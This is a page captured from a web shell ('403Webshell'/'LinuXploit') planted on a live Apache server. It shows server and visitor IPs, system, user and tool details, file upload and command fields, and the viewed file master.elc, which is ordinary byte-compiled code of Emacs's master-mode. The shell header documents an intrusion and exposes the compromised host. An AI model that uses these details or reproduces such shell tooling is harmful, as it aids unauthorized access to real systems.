403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/master.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



#@109 Slave buffer of the current buffer.  See `master-mode'.
You can set this variable using `master-set-slave'.
(defvar master-of nil (#$ . 85))
#@64 Hook run after the slave is changed using \[master-set-slave].
(defvar master-set-slave-hook nil (#$ . 232))
#@91 Non-nil if Master mode is enabled.
Use the command `master-mode' to change this variable.
(defvar master-mode nil (#$ . 347))
(make-variable-buffer-local 'master-mode)
#@882 Toggle Master mode.

This is a minor mode.  If called interactively, toggle the `Master
mode' mode.  If the prefix argument is positive, enable the mode, and
if it is zero or negative, disable the mode.

If called from Lisp, toggle the mode if ARG is `toggle'.  Enable the
mode if ARG is nil, omitted, or is a positive number.  Disable the
mode if ARG is a negative number.

To check whether the minor mode is enabled in the current buffer,
evaluate `master-mode'.

The mode's hook is called both when the mode is enabled and when it is
disabled.

When Master mode is enabled, you can scroll the slave buffer
using the following commands:

\{master-mode-map}

The slave buffer is stored in the buffer-local variable `master-of'.
You can set this variable using `master-set-slave'.  You can show
yourself the value of `master-of' by calling `master-show-slave'.

(fn &optional ARG)
(defalias 'master-mode #[256 "\302 \303=\203
?\202\247\203\304W\203\305\202\306\307\301!\2031\310\300	\"\2031\300	B\311\312\203;\313\202<\314\"\210\315\316!\203^\302 \203P\211\302 \232\203^\317\320\203Z\321\202[\322\323#\210\210\324 \210\207" [master-mode local-minor-modes current-message toggle 1 nil t boundp delq run-hooks master-mode-hook master-mode-on-hook master-mode-off-hook called-interactively-p any message "Master mode %sabled%s" "en" "dis" " in current buffer" force-mode-line-update] 6 (#$ . 522) (byte-code "\203\n\301!\202\302C\207" [current-prefix-arg prefix-numeric-value toggle] 2)])
(defvar master-mode-hook nil)
(byte-code "\300\301N\204\f\302\300\301\303#\210\302\300\304\305#\210\302\300\306\307C#\207" [master-mode-hook variable-documentation put "Hook run after entering or leaving `master-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" custom-type hook standard-value nil] 4)
#@27 Keymap for `master-mode'.
(defvar master-mode-map (byte-code "\300\301!\203\207\211<\203\302!\207\303\304\"\207" [(("" . master-says-scroll-up) ("" . master-says-scroll-down) ("<" . master-says-beginning-of-buffer) (">" . master-says-end-of-buffer) ("\f" . master-says-recenter)) keymapp easy-mmode-define-keymap error "Invalid keymap %S"] 4) (#$ . 2436))
(byte-code "\301\302\303\303\211%\207" [master-mode-map add-minor-mode master-mode nil] 6)
#@117 Make BUFFER the slave of the current buffer.
Use \[master-mode] to toggle control of the slave buffer.

(fn BUFFER)
(defalias 'master-set-slave #[257 "\301\300!\210\211\302\303!\207" [master-of make-local-variable run-hooks master-set-slave-hook] 3 (#$ . 2905) "bSlave: "])
#@55 Displays a message with the name of the slave buffer.
(defalias 'master-show-slave #[0 "\302\303\206\304	#\207" [master-of master-mode message "This buffer is the master of %s.  Master-mode is %S." "none"] 4 (#$ . 3186) nil])
#@78 Display and scroll the slave buffer up.
See `scroll-up'.

(fn &optional ARG)
(defalias 'master-says-scroll-up #[256 "\300\301\"\207" [master-says scroll-up] 4 (#$ . 3421) nil])
#@82 Display and scroll the slave buffer down.
See `scroll-down'.

(fn &optional ARG)
(defalias 'master-says-scroll-down #[256 "\300\301\"\207" [master-says scroll-down] 4 (#$ . 3605) nil])
#@103 Display and move to the beginning of the slave buffer.
See `beginning-of-buffer'.

(fn &optional ARG)
(defalias 'master-says-beginning-of-buffer #[256 "\300\301\"\207" [master-says beginning-of-buffer] 4 (#$ . 3798) nil])
#@91 Display and move to the end of the slave buffer.
See `end-of-buffer'.

(fn &optional ARG)
(defalias 'master-says-end-of-buffer #[256 "\300\301\"\207" [master-says end-of-buffer] 4 (#$ . 4027) nil])
#@64 Recenter the slave buffer.
See `recenter'.

(fn &optional ARG)
(defalias 'master-says-recenter #[256 "\300\301\"\207" [master-says recenter] 4 (#$ . 4232) nil])
#@94 Display slave buffer and execute COMMAND with ARG in its window.

(fn &optional COMMAND ARG)
(defalias 'master-says #[512 "\301\302!!\204\f\303\304!\207\305 \306!\302!=\204\307!\210\203.\3101-\311\"0\210\202.\210\312!\207" [master-of buffer-live-p get-buffer error "Slave buffer has disappeared" selected-window window-buffer switch-to-buffer-other-window (error) apply select-window] 6 (#$ . 4400) nil])
(provide 'master)

Youez - 2016 - github.com/yon3zu
LinuXploit